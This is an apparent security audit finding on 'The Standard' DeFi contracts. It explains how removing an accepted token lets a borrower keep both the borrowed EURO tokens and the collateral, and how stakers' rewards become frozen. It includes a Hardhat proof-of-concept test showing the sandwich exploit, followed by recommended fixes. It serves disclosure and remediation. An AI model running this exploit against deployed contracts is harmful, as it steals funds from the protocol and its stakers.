Removing assets in the `TokenManager` leads to major issues

Severity

High Risk

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L68

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L84

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L128

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L149-L154

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L110-L123

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/LiquidationPool.sol#L65

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/LiquidationPool.sol#L165

Summary

The TokenManager contract allows adding and removing assets from the list of accepted tokens. These are the assets which are allowed to be used inside the protocol. When any asset is removed from this list, a major issues occur, as well as a direct attack path to steal an arbitrary amount of EURO tokens.

Vulnerability Details

The currently deployed TokenManager contract can be found here: https://arbiscan.io/address/0x33c5A816382760b6E5fb50d8854a61b3383a32a0#code

And as we can see here, it allows to remove assets from the list of accepted tokens:

contract TokenManager is ITokenManager, Ownable {
    Token[] private acceptedTokens;

    function getAcceptedTokens() external view returns (Token[] memory) {
        return acceptedTokens;
    }

    function addAcceptedToken(address _token, address _chainlinkFeed) external onlyOwner {
        ...
        acceptedTokens.push(Token(symbol, _token, token.decimals(), _chainlinkFeed, dataFeed.decimals()));
        ...
    }

    function removeAcceptedToken(bytes32 _symbol) external onlyOwner {
        require(_symbol != NATIVE, "err-native-required");
        for (uint256 i = 0; i < acceptedTokens.length; i++) {
            if (acceptedTokens[i].symbol == _symbol) {
                acceptedTokens[i] = acceptedTokens[acceptedTokens.length - 1];
                acceptedTokens.pop();
                emit TokenRemoved(_symbol);
            }
        }
    }
}

The getAcceptedTokens function from the TokenManager contract is used in the liquidate function to get the list of collateral tokens to liquidate. Here we can see that the liquidate function updates the minted amount to 0, loops over all tokens inside the accepted tokens list and transfers them to the SmartVaultManager:

function liquidateERC20(IERC20 _token) private {
    if (_token.balanceOf(address(this)) != 0) _token.safeTransfer(ISmartVaultManagerV3(manager).protocol(), _token.balanceOf(address(this)));
}

function liquidate() external onlyVaultManager {
    require(undercollateralised(), "err-not-liquidatable");
    liquidated = true;
    minted = 0;
    liquidateNative();
    ITokenManager.Token[] memory tokens = getTokenManager().getAcceptedTokens();
    for (uint256 i = 0; i < tokens.length; i++) {
        if (tokens[i].symbol != NATIVE) liquidateERC20(IERC20(tokens[i].addr));
    }
}

Now suppose the vault was collateralized with a token that was removed from this list. The vault will be instantly liquidateable as EUROs were borrowed but no collateral can be found in the vault. The minted variable is still set to 0, but collateral tokens stay inside this vault, as the token is not part of that for loop.

So the collateral stays in the vault, the minted amount is updated to 0 and the stakers / the protocol gets nothing. The borrower is now able to remove this collateral tokens out of the system by calling removeAsset, which will check if the collateral can be removed by calling canRemoveCollateral and this function will instantly respond with true as the minted amount was set to 0:

function removeAsset(address _tokenAddr, uint256 _amount, address _to) external onlyOwner {
    ITokenManager.Token memory token = getTokenManager().getTokenIfExists(_tokenAddr);
    if (token.addr == _tokenAddr) require(canRemoveCollateral(token, _amount), UNDER_COLL);
    IERC20(_tokenAddr).safeTransfer(_to, _amount);
    emit AssetRemoved(_tokenAddr, _amount, _to);
}

function canRemoveCollateral(ITokenManager.Token memory _token, uint256 _amount) private view returns (bool) {
    if (minted == 0) return true;
    uint256 currentMintable = maxMintable();
    uint256 eurValueToRemove = calculator.tokenToEurAvg(_token, _amount);
    return currentMintable >= eurValueToRemove &&
        minted <= currentMintable - eurValueToRemove;
}

Therefore, the borrower keeps the borrowed EURO tokens, as well as the collateral tokens. An arbitrary amount of EURO tokens can be stolen with this attack path. Especially if the malicious actor would sandwich the call that removes any collateral token from that list, it would be possible to front run the call and take a big loan with this collateral token and back run it to liquidate the own loan and remove the collateral from the vault.

The following POC can be implemented in the smartVault test file and showcases how a malicious actor can exploit the removal of a token:

describe("accepted token removal exploit", async () => {
    it("accepted token removal exploit", async () => {
      // add token to the TokenManager
      const Tether = await (
        await ethers.getContractFactory("ERC20Mock")
      ).deploy("Tether", "USDT", 6);
      const clUsdUsdPrice = 100000000;
      const ClUsdUsd = await (
        await ethers.getContractFactory("ChainlinkMock")
      ).deploy("USD / USD");
      await ClUsdUsd.setPrice(clUsdUsdPrice);
      await TokenManager.addAcceptedToken(Tether.address, ClUsdUsd.address);

      // mint user 100 USDT
      const borrowAmt = ethers.utils.parseEther("1");
      const collateralAmt = BigNumber.from(100000000);

      await Tether.mint(user.address, collateralAmt);

      // ---------------- front run ----------------

      // add collateral to the vault
      await Tether.connect(user).transfer(Vault.address, collateralAmt);

      // borrow EURO tokens
      await Vault.connect(user).mint(user.address, borrowAmt);

      // ---------------- token is removed from TokenManager ----------------
      await TokenManager.removeAcceptedToken(
        ethers.utils.formatBytes32String("USDT")
      );

      // ---------------- back run ----------------

      // vault is liquidated
      await VaultManager.connect(protocol).liquidateVault(1);

      // remove collateral out of the vault
      await Vault.connect(user).removeAsset(
        Tether.address,
        collateralAmt,
        user.address
      );

      // attacker owns all the collateral tokens and the full borrowed amount
      expect(await Tether.balanceOf(user.address)).to.equal(collateralAmt);
      expect(await EUROs.balanceOf(user.address)).to.equal(borrowAmt);
    });
});

Another problem with removing accepted tokens occurs in the LiquidationPool contract. Stakers can stake TST and EURO tokens to be able to buy collateral tokens for a discount with it. The bought collateral tokens are saved inside a mapping and can be claimed anytime by the staker with the claimRewards function:

function claimRewards() external {
    ITokenManager.Token[] memory _tokens = ITokenManager(tokenManager).getAcceptedTokens();
    for (uint256 i = 0; i < _tokens.length; i++) {
        ITokenManager.Token memory _token = _tokens[i];
        uint256 _rewardAmount = rewards[abi.encodePacked(msg.sender, _token.symbol)];
        if (_rewardAmount > 0) {
            delete rewards[abi.encodePacked(msg.sender, _token.symbol)];
            if (_token.addr == address(0)) {
                (bool _sent,) = payable(msg.sender).call{value: _rewardAmount}("");
                require(_sent);
            } else {
                IERC20(_token.addr).transfer(msg.sender, _rewardAmount);
            }
        }

    }
}

As we can see, this function also loops over the accepted tokens list. If there are unclaimed rewards and the token gets removed from the accepted tokens list, then all of these funds will be frozen in the contract and no longer claimable. As the staker already paid for these rewards with EURO tokens, funds were stolen from the staker.

Impact

Malicious actors can steal funds from the protocol, especially when they sandwich the removal call.
Borrowers can not be liquidated or only partially liquidated (if multiple collateral tokens are in the vault).
Rewards can not be claimed and are frozen in the LiquidationPool, but stakers already paid for them.

Recommendations

There are multiple ways to fix this issue. This suggestion is not the most beautiful design choice, but it is one way to fix the issue by touching the current system logic as little as possible:

add the ifNotLiquidated modifier to the remove asset / collateral functions
implement functions for the whole liquidation / claim reward flow which do the same thing for specified token addresses instead of the whole accepted tokens list